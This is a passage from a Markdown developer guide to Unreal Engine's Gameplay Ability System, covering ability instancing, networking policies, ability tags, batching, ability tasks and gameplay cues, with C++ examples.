/** Cancels all abilities regardless of tags. Will not cancel the ignore instance */
void CancelAllAbilities(UGameplayAbility* Ignore=nullptr);
/** Cancels all abilities and kills any remaining instanced abilities */
virtual void DestroyActiveState();
```
**Note:** I have found that `CancelAllAbilities` doesn't seem to work right if you have a `Non-Instanced` `GameplayAbilities`. It seems to hit the `Non-Instanced` `GameplayAbility` and give up. `CancelAbilities` can handle `Non-Instanced` `GameplayAbilities` better and that is what the Sample Project uses (Jump is a non-instanced `GameplayAbility`). Your mileage may vary.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-definition-activeability"></a>
#### 4.6.6 Getting Active Abilities
Beginners often ask "How can I get the active ability?" perhaps to set variables on it or to cancel it. More than one `GameplayAbility` can be active at a time so there is no one "active ability". Instead, you must search through an `ASC's` list of `ActivatableAbilities` (granted `GameplayAbilities` that the `ASC` owns) and find the one matching the [`Asset` or `Granted` `GameplayTag`](#concepts-ga-tags) that you are looking for.
`UAbilitySystemComponent::GetActivatableAbilities()` returns a `TArray<FGameplayAbilitySpec>` for you to iterate over.
The `ASC` also has another helper function that takes in a `GameplayTagContainer` as a parameter to assist in searching instead of manually iterating over the list of `GameplayAbilitySpecs`. The `bOnlyAbilitiesThatSatisfyTagRequirements` parameter will only return `GameplayAbilitySpecs` that satisfy their `GameplayTag` requirements and could be activated right now. For example, you could have two basic attack `GameplayAbilities`, one with a weapon and one with bare fists, and the correct one activates depending on if a weapon is equipped setting the `GameplayTag` requirement. See Epic's comment on the function for more information.
```c++
UAbilitySystemComponent::GetActivatableGameplayAbilitySpecsByAllMatchingTags(const FGameplayTagContainer& GameplayTagContainer, TArray < struct FGameplayAbilitySpec* >& MatchingGameplayAbilities, bool bOnlyAbilitiesThatSatisfyTagRequirements = true)
```
Once you get the `FGameplayAbilitySpec` that you are looking for, you can call `IsActive()` on it.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-instancing"></a>
#### 4.6.7 Instancing Policy
A `GameplayAbility's` `Instancing Policy` determines if and how the `GameplayAbility` is instanced when activated.
| `Instancing Policy` | Description | Example of when to use |
| ----------------------- | ------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Instanced Per Actor | Each `ASC` only has one instance of the `GameplayAbility` that is reused between activations. | This will probably be the `Instancing Policy` that you use the most. You can use it for any ability and provides persistence between activations. The designer is responsible for manually resetting any variables between activations that need it. |
| Instanced Per Execution | Every time a `GameplayAbility` is activated, a new instance of the `GameplayAbility` is created. | The benefit of these `GameplayAbilities` is that the variables are reset everytime you activate. These provide worse performance than `Instanced Per Actor` since they will spawn new `GameplayAbilities` every time they activate. The Sample Project does not use any of these. |
| Non-Instanced | The `GameplayAbility` operates on its `ClassDefaultObject`. No instances are created. | This has the best performance of the three but is the most restrictive in what can be done with it. `Non-Instanced` `GameplayAbilities` cannot store state, meaning no dynamic variables and no binding to `AbilityTask` delegates. The best place to use them is for frequently used simple abilities like minion basic attacks in a MOBA or RTS. The Sample Project's Jump `GameplayAbility` is `Non-Instanced`. |
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-net"></a>
#### 4.6.8 Net Execution Policy
A `GameplayAbility's` `Net Execution Policy` determines who runs the `GameplayAbility` and in what order.
| `Net Execution Policy` | Description |
| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Local Only` | The `GameplayAbility` is only run on the owning client. This could be useful for abilities that only make local cosmetic changes. Single player games should use `Server Only`. |
| `Local Predicted` | `Local Predicted` `GameplayAbilities` activate first on the owning client and then on the server. The server's version will correct anything that the client predicted incorrectly. See [Prediction](#concepts-p). |
| `Server Only` | The `GameplayAbility` is only run on the server. Passive `GameplayAbilities` will typically be `Server Only`. Single player games should use this. |
| `Server Initiated` | `Server Initiated` `GameplayAbilities` activate first on the server and then on the owning client. I personally haven't used these much if any. |
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-tags"></a>
#### 4.6.9 Ability Tags
`GameplayAbilities` come with `GameplayTagContainers` with built-in logic. None of these `GameplayTags` are replicated.
| `GameplayTag Container` | Description |
| --------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Ability Tags` | `GameplayTags` that the `GameplayAbility` owns. These are just `GameplayTags` to describe the `GameplayAbility`. |
| `Cancel Abilities with Tag` | Other `GameplayAbilities` that have these `GameplayTags` in their `Ability Tags` will be canceled when this `GameplayAbility` is activated. |
| `Block Abilities with Tag` | Other `GameplayAbilities` that have these `GameplayTags` in their `Ability Tags` are blocked from activating while this `GameplayAbility` is active. |
| `Activation Owned Tags` | These `GameplayTags` are given to the `GameplayAbility's` owner while this `GameplayAbility` is active. Remember these are not replicated. |
| `Activation Required Tags` | This `GameplayAbility` can only be activated if the owner has **all** of these `GameplayTags`. |
| `Activation Blocked Tags` | This `GameplayAbility` cannot be activated if the owner has **any** of these `GameplayTags`. |
| `Source Required Tags` | This `GameplayAbility` can only be activated if the `Source` has **all** of these `GameplayTags`. The `Source` `GameplayTags` are only set if the `GameplayAbility` is triggered by an event. |
| `Source Blocked Tags` | This `GameplayAbility` cannot be activated if the `Source` has **any** of these `GameplayTags`. The `Source` `GameplayTags` are only set if the `GameplayAbility` is triggered by an event. |
| `Target Required Tags` | This `GameplayAbility` can only be activated if the `Target` has **all** of these `GameplayTags`. The `Target` `GameplayTags` are only set if the `GameplayAbility` is triggered by an event. |
| `Target Blocked Tags` | This `GameplayAbility` cannot be activated if the `Target` has **any** of these `GameplayTags`. The `Target` `GameplayTags` are only set if the `GameplayAbility` is triggered by an event. |
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-spec"></a>
#### 4.6.10 Gameplay Ability Spec
A `GameplayAbilitySpec` exists on the `ASC` after a `GameplayAbility` is granted and defines the activatable `GameplayAbility` - `GameplayAbility` class, level, input bindings, and runtime state that must be kept separate from the `GameplayAbility` class.
When a `GameplayAbility` is granted on the server, the server replicates the `GameplayAbilitySpec` to the owning client so that she may activate it.
Activating a `GameplayAbilitySpec` will create an instance (or not for `Non-Instanced` `GameplayAbilities`) of the `GameplayAbility` depending on its `Instancing Policy`.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-data"></a>
#### 4.6.11 Passing Data to Abilities
The general paradigm for `GameplayAbilities` is `Activate->Generate Data->Apply->End`. Sometimes you need to act on existing data. GAS provides a few options for getting external data into your `GameplayAbilities`:
| Method | Description |
| ----------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Activate `GameplayAbility` by Event | Activate a `GameplayAbility` with an event containing a payload of data. The event's payload is replicated from client to server for local predicted `GameplayAbilities`. Use the two `Optional Object` or the [`TargetData`](#concepts-targeting-data) variables for arbitrary data that does not fit any of the existing variables. The downside to this is that it prevents you from activating the ability with an input bind. To activate a `GameplayAbility` by event, the `GameplayAbility` must have its `Triggers` set up in the `GameplayAbility`. Assign a `GameplayTag` and pick an option for `GameplayEvent`. To send the event, use the function `UAbilitySystemBlueprintLibrary::SendGameplayEventToActor(AActor* Actor, FGameplayTag EventTag, FGameplayEventData Payload)`. |
| Use `WaitGameplayEvent` `AbilityTask` | Use the `WaitGameplayEvent` `AbilityTask` to tell the `GameplayAbility` to listen for an event with payload data after it activates. The event payload and the process to send it is the same as activating `GameplayAbilities` by event. The downside to this is that events are not replicated by the `AbilityTask` and should only be used for `Local Only` and `Server Only` `GameplayAbilities`. You potentially could write your own `AbilityTask` that will replicate the event payload. |
| Use `TargetData` | A custom `TargetData` struct is a good way to pass arbitrary data between the client and server. |
| Store Data on the `OwnerActor` or `AvatarActor` | Use replicated variables stored on the `OwnerActor`, `AvatarActor`, or any other object that you can get a reference to. This method is the most flexible and will work with `GameplayAbilities` activated by input binds. However, it does not guarantee the data will be synchronized from replication at the time of use. You must ensure that ahead of time - meaning if you set a replicated variable and then immediately activate a `GameplayAbility` there is no guarantee the order that will happen on the receiver due to potential packet loss. |
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-commit"></a>
#### 4.6.12 Ability Cost and Cooldown
`GameplayAbilities` come with functionality for optional costs and cooldowns. Costs are predefined amounts of `Attributes` that the `ASC` must have in order to activate the `GameplayAbility` implemented with an `Instant` `GameplayEffect` ([`Cost GE`](#concepts-ge-cost)). Cooldowns are timers that prevent the reactivation of a `GameplayAbility` until it expires and is implemented with a `Duration` `GameplayEffect` ([`Cooldown GE`](#concepts-ge-cooldown)).
Before a `GameplayAbility` calls `UGameplayAbility::Activate()`, it calls `UGameplayAbility::CanActivateAbility()`. This function checks if the owning `ASC` can afford the cost (`UGameplayAbility::CheckCost()`) and ensures that the `GameplayAbility` is not on cooldown (`UGameplayAbility::CheckCooldown()`).
After a `GameplayAbility` calls `Activate()`, it can optionally commit the cost and cooldown at any time using `UGameplayAbility::CommitAbility()` which calls `UGameplayAbility::CommitCost()` and `UGameplayAbility::CommitCooldown()`. The designer may choose to call `CommitCost()` or `CommitCooldown()` separately if they shouldn't be committed at the same time. Committing cost and cooldown calls `CheckCost()` and `CheckCooldown()` one more time and is the last chance for the `GameplayAbility` to fail related to them. The owning `ASC's` `Attributes` could potentially change after a `GameplayAbility` is activated, failing to meet the cost at time of commit. Committing the cost and cooldown can be [locally predicted](#concepts-p) if the [prediction key](#concepts-p-key) is valid at the time of commit.
See [`CostGE`](#concepts-ge-cost) and [`CooldownGE`](#concepts-ge-cooldown) for implementation details.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-leveling"></a>
#### 4.6.13 Leveling Up Abilities
There are two common methods for leveling up an ability:
| Level Up Method | Description |
| ------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Ungrant and Regrant at the New Level | Ungrant (remove) the `GameplayAbility` from the `ASC` and regrant it back at the next level on the server. This terminates the `GameplayAbility` if it was active at the time. |
| Increase the `GameplayAbilitySpec's` Level | On the server, find the `GameplayAbilitySpec`, increase its level, and mark it dirty so that replicates to the owning client. This method does not terminate the `GameplayAbility` if it was active at the time. |
The main difference between the two methods is if you want active `GameplayAbilities` to be canceled at the time of level up. You will most likely use both methods depending on your `GameplayAbilities`. I recommend adding a `bool` to your `UGameplayAbility` subclass specifying which method to use.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-sets"></a>
#### 4.6.14 Ability Sets
`GameplayAbilitySets` are convenience `UDataAsset` classes for holding input bindings and lists of startup `GameplayAbilities` for Characters with logic to grant the `GameplayAbilities`. Subclasses can also include extra logic or properties. Paragon had a `GameplayAbilitySet` per hero that included all of their given `GameplayAbilities`.
I find this class to be unnecessary at least given what I've seen of it so far. The Sample Project handles all of the functionality of `GameplayAbilitySets` inside of the `GDCharacterBase` and its subclasses.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-batching"></a>
#### 4.6.15 Ability Batching
Traditional `Gameplay Ability` lifecycle involves a minimum of two or three RPCs from the client to the server.
1. `CallServerTryActivateAbility()`
1. `ServerSetReplicatedTargetData()` (Optional)
1. `ServerEndAbility()`
If a `GameplayAbility` performs all of these actions in one atomic grouping in a frame, we can optimize this workflow to batch (combine) all two or three RPCs into one RPC. `GAS` refers to this RPC optimization as `Ability Batching`. The common example of when to use `Ability Batching` is for hitscan guns. Hitscan guns activate, do a line trace, send the [`TargetData`](#concepts-targeting-data) to the server, and end the ability all in one atomic group in one frame. The [GASShooter](https://github.com/tranek/GASShooter) sample project demonstrates this technique for its hitscan guns.
Semi-Automatic guns are the best case scenario and batch the `CallServerTryActivateAbility()`, `ServerSetReplicatedTargetData()` (the bullet hit result), and `ServerEndAbility()` into one RPC instead of three RPCs.
Full-Automatic/Burst guns batch `CallServerTryActivateAbility()` and `ServerSetReplicatedTargetData()` for the first bullet into one RPC instead of two RPCs. Each subsequent bullet is its own `ServerSetReplicatedTargetData()` RPC. Finally, `ServerEndAbility()` is sent as a separate RPC when the gun stops firing. This is a worst case scenario where we only save one RPC on the first bullet instead of two. This scenario could have also been implemented with activating the ability via a [`Gameplay Event`](#concepts-ga-data) which would send the bullet's `TargetData` in with the `EventPayload` to the server from the client. The downside of the latter approach is that the `TargetData` would have to be generated externally to the ability whereas the batching approach generates the `TargetData` inside of the ability.
`Ability Batching` is disabled by default on the [`ASC`](#concepts-asc). To enable `Ability Batching`, override `ShouldDoServerAbilityRPCBatch()` to return true:
```c++
virtual bool ShouldDoServerAbilityRPCBatch() const override { return true; }
```
Now that `Ability Batching` is enabled, before activating abilities that you want batched, you must create a `FScopedServerAbilityRPCBatcher` struct beforehand. This special struct will try to batch any abilities following it within its scope. Once the `FScopedServerAbilityRPCBatcher` falls out of scope, any abilities activated will not try to batch. `FScopedServerAbilityRPCBatcher` works by having special code in each of the functions that can be batched that intercepts the call from sending the RPC and instead packs the message into a batch struct. When `FScopedServerAbilityRPCBatcher` falls out of scope, it automatically RPCs this batch struct to the server in `UAbilitySystemComponent::EndServerAbilityRPCBatch()`. The server receives the batch RPC in `UAbilitySystemComponent::ServerAbilityRPCBatch_Internal(FServerAbilityRPCBatch& BatchInfo)`. The `BatchInfo` parameter will contain flags for if the ability should end and if input was pressed at the time of activation and the `TargetData` if that was included. This is a good function to put a breakpoint on to confirm that your batching is working properly. Alternatively, use the cvar `AbilitySystem.ServerRPCBatching.Log 1` to enable special ability batching logging.
This mechanism can only be done in C++ and can only activate abilities by their `FGameplayAbilitySpecHandle`.
```c++
bool UGSAbilitySystemComponent::BatchRPCTryActivateAbility(FGameplayAbilitySpecHandle InAbilityHandle, bool EndAbilityImmediately)
{
bool AbilityActivated = false;
if (InAbilityHandle.IsValid())
{
FScopedServerAbilityRPCBatcher GSAbilityRPCBatcher(this, InAbilityHandle);
AbilityActivated = TryActivateAbility(InAbilityHandle, true);
if (EndAbilityImmediately)
{
FGameplayAbilitySpec* AbilitySpec = FindAbilitySpecFromHandle(InAbilityHandle);
if (AbilitySpec)
{
UGSGameplayAbility* GSAbility = Cast<UGSGameplayAbility>(AbilitySpec->GetPrimaryInstance());
GSAbility->ExternalEndAbility();
}
}
return AbilityActivated;
}
return AbilityActivated;
}
```
GASShooter reuses the same batched `GameplayAbility` for semi-automatic and full-automatic guns which never directly call `EndAbility()` (it is handled outside of the ability by a local-only ability that manages player input and the call to the batched ability based on the current firemode). Since all of the RPCs must happen within the scope of the `FScopedServerAbilityRPCBatcher`, I provide the `EndAbilityImmediately` parameter so that the controlling/managing local-only can specify whether this ability should batch the `EndAbility()` call (semi-automatic), or not batch the `EndAbility()` call (full-automatic) and the `EndAbility()` call will happen sometime later in its own RPC.
GASShooter exposes a Blueprint node to allow batching abilities which the aforementioned local-only ability uses to trigger the batched ability.

**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-ga-netsecuritypolicy"></a>
#### 4.6.16 Net Security Policy
A `GameplayAbility`'s `NetSecurityPolicy` determines where should an ability execute on the network. It provides protection from clients attempting to execute restricted abilities.
| `NetSecurityPolicy` | Description |
| ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ClientOrServer` | No security requirements. Client or server can trigger execution and termination of this ability freely. |
| `ServerOnlyExecution` | A client requesting execution of this ability will be ignored by the server. Clients can still request that the server cancel or end this ability. |
| `ServerOnlyTermination` | A client requesting cancellation or ending of this ability will be ignored by the server. Clients can still request execution of the ability. |
| `ServerOnly` | Server controls both execution and termination of this ability. A client making any requests will be ignored. |
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-at"></a>
### 4.7 Ability Tasks
<a name="concepts-at-definition"></a>
### 4.7.1 Ability Task Definition
`GameplayAbilities` only execute in one frame. This does not allow for much flexibility on its own. To do actions that happen over time or require responding to delegates fired at some point later in time we use latent actions called `AbilityTasks`.
GAS comes with many `AbilityTasks` out of the box:
* Tasks for moving Characters with `RootMotionSource`
* A task for playing animation montages
* Tasks for responding to `Attribute` changes
* Tasks for responding to `GameplayEffect` changes
* Tasks for responding to player input
* and more
The `UAbilityTask` constructor enforces a hardcoded game-wide maximum of 1000 concurrent `AbilityTasks` running at the same time. Keep this in mind when designing `GameplayAbilities` for games that can have hundreds of characters in the world at the same time like RTS games.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-at-definition"></a>
### 4.7.2 Custom Ability Tasks
Often you will be creating your own custom `AbilityTasks` (in C++). The Sample Project comes with two custom `AbilityTasks`:
1. `PlayMontageAndWaitForEvent` is a combination of the default `PlayMontageAndWait` and `WaitGameplayEvent` `AbilityTasks`. This allows animation montages to send gameplay events from `AnimNotifies` back to the `GameplayAbility` that started them. Use this to trigger actions at specific times during animation montages.
1. `WaitReceiveDamage` listens for the `OwnerActor` to receive damage. The passive armor stacks `GameplayAbility` removes a stack of armor when the hero receives an instance of damage.
`AbilityTasks` are composed of:
* A static function that creates new instances of the `AbilityTask`
* Delegates that are broadcasted on when the `AbilityTask` completes its purpose
* An `Activate()` function to start its main job, bind to external delegates, etc.
* An `OnDestroy()` function for cleanup, including external delegates that it bound to
* Callback functions for any external delegates that it bound to
* Member variables and any internal helper functions
**Note:** `AbilityTasks` can only declare one type of output delegate. All of your output delegates must be of this type, regardless if they use the parameters or not. Pass default values for unused delegate parameters.
`AbilityTasks` only run on the Client or Server that is running the owning `GameplayAbility`; however, `AbilityTasks` can be set to run on simulated clients by setting `bSimulatedTask = true;` in the `AbilityTask` constructor, overriding `virtual void InitSimulatedTask(UGameplayTasksComponent& InGameplayTasksComponent);`, and setting any member variables to be replicated. This is only useful in rare situations like movement `AbilityTasks` where you don't want to replicate every movement change but instead simulate the entire movement `AbilityTask`. All of the `RootMotionSource` `AbilityTasks` do this. See `AbilityTask_MoveToLocation.h/.cpp` as an example.
`AbilityTasks` can `Tick` if you set `bTickingTask = true;` in the `AbilityTask` constructor and override `virtual void TickTask(float DeltaTime);`. This is useful when you need to lerp values smoothly across frames. See `AbilityTask_MoveToLocation.h/.cpp` as an example.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-at-using"></a>
### 4.7.3 Using Ability Tasks
To create and activate an `AbilityTask` in C++ (From `GDGA_FireGun.cpp`):
```c++
UGDAT_PlayMontageAndWaitForEvent* Task = UGDAT_PlayMontageAndWaitForEvent::PlayMontageAndWaitForEvent(this, NAME_None, MontageToPlay, FGameplayTagContainer(), 1.0f, NAME_None, false, 1.0f);
Task->OnBlendOut.AddDynamic(this, &UGDGA_FireGun::OnCompleted);
Task->OnCompleted.AddDynamic(this, &UGDGA_FireGun::OnCompleted);
Task->OnInterrupted.AddDynamic(this, &UGDGA_FireGun::OnCancelled);
Task->OnCancelled.AddDynamic(this, &UGDGA_FireGun::OnCancelled);
Task->EventReceived.AddDynamic(this, &UGDGA_FireGun::EventReceived);
Task->ReadyForActivation();
```
In Blueprint, we just use the Blueprint node that we create for the `AbilityTask`. We don't have to call `ReadyForActivation()`. That is automatically called by `Engine/Source/Editor/GameplayTasksEditor/Private/K2Node_LatentGameplayTaskCall.cpp`. `K2Node_LatentGameplayTaskCall` also automatically calls `BeginSpawningActor()` and `FinishSpawningActor()` if they exist in your `AbilityTask` class (see `AbilityTask_WaitTargetData`). To reiterate, `K2Node_LatentGameplayTaskCall` only does automagic sorcery for Blueprint. In C++, we have to manually call `ReadyForActivation()`, `BeginSpawningActor()`, and `FinishSpawningActor()`.

To manually cancel an `AbilityTask`, just call `EndTask()` on the `AbilityTask` object in Blueprint (called `Async Task Proxy`) or in C++.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-at-rms"></a>
### 4.7.4 Root Motion Source Ability Tasks
GAS comes with `AbilityTasks` for moving `Characters` over time for things like knockbacks, complex jumps, pulls, and dashes using `Root Motion Sources` hooked into the `CharacterMovementComponent`.
**Note:** Predicting `RootMotionSource` `AbilityTasks` works up to engine version 4.19 and 4.25+. Prediction is bugged for engine versions 4.20-4.24; however, the `AbilityTasks` still perform their function in multiplayer with minor net corrections and work perfectly in single player. It is possible to cherry pick the [prediction fix](https://github.com/EpicGames/UnrealEngine/commit/94107438dd9f490e7b743f8e13da46927051bf33#diff-65f6196f9f28f560f95bd578e07e290c) from 4.25 into a custom 4.20-4.24 engine.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-gc"></a>
### 4.8 Gameplay Cues
<a name="concepts-gc-definition"></a>
#### 4.8.1 Gameplay Cue Definition
`GameplayCues` (`GC`) execute non-gameplay related things like sound effects, particle effects, camera shakes, etc. `GameplayCues` are typically replicated (unless explicitly `Executed`, `Added`, or `Removed` locally) and predicted.
We trigger `GameplayCues` by sending a corresponding `GameplayTag` with the **mandatory parent name of `GameplayCue.`** and an event type (`Execute`, `Add`, or `Remove`) to the `GameplayCueManager` via the `ASC`. `GameplayCueNotify` objects and other `Actors` that implement the `IGameplayCueInterface` can subscribe to these events based on the `GameplayCue's` `GameplayTag` (`GameplayCueTag`).
**Note:** Just to reiterate, `GameplayCue` `GameplayTags` need to start with the parent `GameplayTag` of `GameplayCue`. So for example, a valid `GameplayCue` `GameplayTag` might be `GameplayCue.A.B.C`.
There are two classes of `GameplayCueNotifies`, `Static` and `Actor`. They respond to different events and different types of `GameplayEffects` can trigger them. Override the corresponding event with your logic.
| `GameplayCue` Class | Event | `GameplayEffect` Type | Description |
| ------------------------------------------------------------------------------------------------------------------------------------ | ----------------- | ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [`GameplayCueNotify_Static`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/UGameplayCueNotify_Static/index.html) | `Execute` | `Instant` or `Periodic` | Static `GameplayCueNotifies` operate on the `ClassDefaultObject` (meaning no instances) and are perfect for one-off effects like hit impacts. |
| [`GameplayCueNotify_Actor`](https://docs.unrealengine.com/en-US/BlueprintAPI/GameplayCueNotify/index.html) | `Add` or `Remove` | `Duration` or `Infinite` | Actor `GameplayCueNotifies` spawn a new instance when `Added`. Because these are instanced, they can do actions over time until they are `Removed`. These are good for looping sounds and particle effects that will be removed when the backing `Duration` or `Infinite` `GameplayEffect` is removed or by manually calling remove. These also come with options to manage how many are allowed to be `Added` at the same time so that multiple applications of the same effect only start the sounds or particles once. |
`GameplayCueNotifies` technically can respond to any of the events but this is typically how we use them.
**Note:** When using `GameplayCueNotify_Actor`, check `Auto Destroy on Remove` otherwise subsequent calls to `Add` that `GameplayCueTag` won't work.
When using an `ASC` [Replication Mode](#concepts-asc-rm) other than `Full`, `Add` and `Remove` `GC` events will fire twice on Server players (listen server) - once for applying the `GE` and again from the "Minimal" `NetMultiCast` to the clients. However, `WhileActive` events will still only fire once. All events will only fire once on clients.
The Sample Project includes a `GameplayCueNotify_Actor` for stun and sprint effects. It also has a `GameplayCueNotify_Static` for the FireGun's projectile impact. These `GCs` can be optimized further by [triggering them locally](#concepts-gc-local) instead of replicating them through a `GE`. I opted for showing the beginner way of using them in the Sample Project.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-gc-trigger"></a>
#### 4.8.2 Triggering Gameplay Cues
From inside of a `GameplayEffect` when it is successfully applied (not blocked by tags or immunity), fill in the `GameplayTags` of all the `GameplayCues` that should be triggered.

`UGameplayAbility` offers Blueprint nodes to `Execute`, `Add`, or `Remove` `GameplayCues`.

In C++, you can call functions directly on the `ASC` (or expose them to Blueprint in your `ASC` subclass):
```c++
/** GameplayCues can also come on their own. These take an optional effect context to pass through hit result, etc */
void ExecuteGameplayCue(const FGameplayTag GameplayCueTag, FGameplayEffectContextHandle EffectContext = FGameplayEffectContextHandle());
void ExecuteGameplayCue(const FGameplayTag GameplayCueTag, const FGameplayCueParameters& GameplayCueParameters);
/** Add a persistent gameplay cue */
void AddGameplayCue(const FGameplayTag GameplayCueTag, FGameplayEffectContextHandle EffectContext = FGameplayEffectContextHandle());
void AddGameplayCue(const FGameplayTag GameplayCueTag, const FGameplayCueParameters& GameplayCueParameters);
/** Remove a persistent gameplay cue */
void RemoveGameplayCue(const FGameplayTag GameplayCueTag);
/** Removes any GameplayCue added on its own, i.e. not as part of a GameplayEffect. */
void RemoveAllGameplayCues();
```
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-gc-local"></a>
#### 4.8.3 Local Gameplay Cues
The exposed functions for firing `GameplayCues` from `GameplayAbilities` and the `ASC` are replicated by default. Each `GameplayCue` event is a multicast RPC. This can cause a lot of RPCs. GAS also enforces a maximum of two of the same `GameplayCue` RPCs per net update. We avoid this by using local `GameplayCues` where we can. Local `GameplayCues` only `Execute`, `Add`, or `Remove` on the individual client.
Scenarios where we can use local `GameplayCues`:
* Projectile impacts
* Melee collision impacts
* `GameplayCues` fired from animation montages
Local `GameplayCue` functions that you should add to your `ASC` subclass:
```c++
UFUNCTION(BlueprintCallable, Category = "GameplayCue", Meta = (AutoCreateRefTerm = "GameplayCueParameters", GameplayTagFilter = "GameplayCue"))
void ExecuteGameplayCueLocal(const FGameplayTag GameplayCueTag, const FGameplayCueParameters& GameplayCueParameters);
UFUNCTION(BlueprintCallable, Category = "GameplayCue", Meta = (AutoCreateRefTerm = "GameplayCueParameters", GameplayTagFilter = "GameplayCue"))
void AddGameplayCueLocal(const FGameplayTag GameplayCueTag, const FGameplayCueParameters& GameplayCueParameters);
UFUNCTION(BlueprintCallable, Category = "GameplayCue", Meta = (AutoCreateRefTerm = "GameplayCueParameters", GameplayTagFilter = "GameplayCue"))
void RemoveGameplayCueLocal(const FGameplayTag GameplayCueTag, const FGameplayCueParameters& GameplayCueParameters);
```
```c++
void UPAAbilitySystemComponent::ExecuteGameplayCueLocal(const FGameplayTag GameplayCueTag, const FGameplayCueParameters & GameplayCueParameters)
{
UAbilitySystemGlobals::Get().GetGameplayCueManager()->HandleGameplayCue(GetOwner(), GameplayCueTag, EGameplayCueEvent::Type::Executed, GameplayCueParameters);
}
void UPAAbilitySystemComponent::AddGameplayCueLocal(const FGameplayTag GameplayCueTag, const FGameplayCueParameters & GameplayCueParameters)
{
UAbilitySystemGlobals::Get().GetGameplayCueManager()->HandleGameplayCue(GetOwner(), GameplayCueTag, EGameplayCueEvent::Type::OnActive, GameplayCueParameters);
UAbilitySystemGlobals::Get().GetGameplayCueManager()->HandleGameplayCue(GetOwner(), GameplayCueTag, EGameplayCueEvent::Type::WhileActive, GameplayCueParameters);
}
void UPAAbilitySystemComponent::RemoveGameplayCueLocal(const FGameplayTag GameplayCueTag, const FGameplayCueParameters & GameplayCueParameters)
{
UAbilitySystemGlobals::Get().GetGameplayCueManager()->HandleGameplayCue(GetOwner(), GameplayCueTag, EGameplayCueEvent::Type::Removed, GameplayCueParameters);
}
```
If a `GameplayCue` was `Added` locally, it should be `Removed` locally. If it was `Added` via replication, it should be `Removed` via replication.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-gc-parameters"></a>
#### 4.8.4 Gameplay Cue Parameters
`GameplayCues` receive a `FGameplayCueParameters` structure containing extra information for the `GameplayCue` as a parameter. If you manually trigger the `GameplayCue` from a function on the `GameplayAbility` or the `ASC`, then you must manually fill in the `GameplayCueParameters` structure that is passed to the `GameplayCue`. If the `GameplayCue` is triggered by a `GameplayEffect`, then the following variables are automatically filled in on the `GameplayCueParameters` structure:
* AggregatedSourceTags
* AggregatedTargetTags
* GameplayEffectLevel
* AbilityLevel
* [EffectContext](#concepts-ge-context)
* Magnitude (if the `GameplayEffect` has an `Attribute` for magnitude selected in the dropdown above the `GameplayCue` tag container and a corresponding `Modifier` that affects that `Attribute`)
The `SourceObject` variable in the `GameplayCueParameters` structure is potentially a good place to pass arbitrary data to the `GameplayCue` when triggering the `GameplayCue` manually.
**Note:** Some of the variables in the parameters structure like `Instigator` might already exist in the `EffectContext`. The `EffectContext` can also contain a `FHitResult` for location of where to spawn the `GameplayCue` in the world. Subclassing `EffectContext` is potentially a good way to pass more data to `GameplayCues`, especially those triggered by a `GameplayEffect`.
See the 3 functions in [`UAbilitySystemGlobals`](#concepts-asg) that populate the `GameplayCueParameters` structure for more information. They are virtual so you can override them to autopopulate more information.
```c++
/** Initialize GameplayCue Parameters */
virtual void InitGameplayCueParameters(FGameplayCueParameters& CueParameters, const FGameplayEffectSpecForRPC &Spec);
virtual void InitGameplayCueParameters_GESpec(FGameplayCueParameters& CueParameters, const FGameplayEffectSpec &Spec);
virtual void InitGameplayCueParameters(FGameplayCueParameters& CueParameters, const FGameplayEffectContextHandle& EffectContext);
```
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-gc-manager"></a>
#### 4.8.5 Gameplay Cue Manager
By default, the `GameplayCueManager` will scan the entire game directory for `GameplayCueNotifies` and load them into memory on play. We can change the path where the `GameplayCueManager` scans by setting it in the `DefaultGame.ini`.
```
[/Script/GameplayAbilities.AbilitySystemGlobals]
GameplayCueNotifyPaths="/Game/GASDocumentation/Characters"
```
We do want the `GameplayCueManager` to scan and find all of the `GameplayCueNotifies`; however, we don't want it to async load every single one on play. This will put every `GameplayCueNotify` and all of their referenced sounds and particles into memory regardless if they're even used in a level. In a large game like Paragon, this can be hundreds of megabytes of unneeded assets in memory and cause hitching and game freezes on startup.
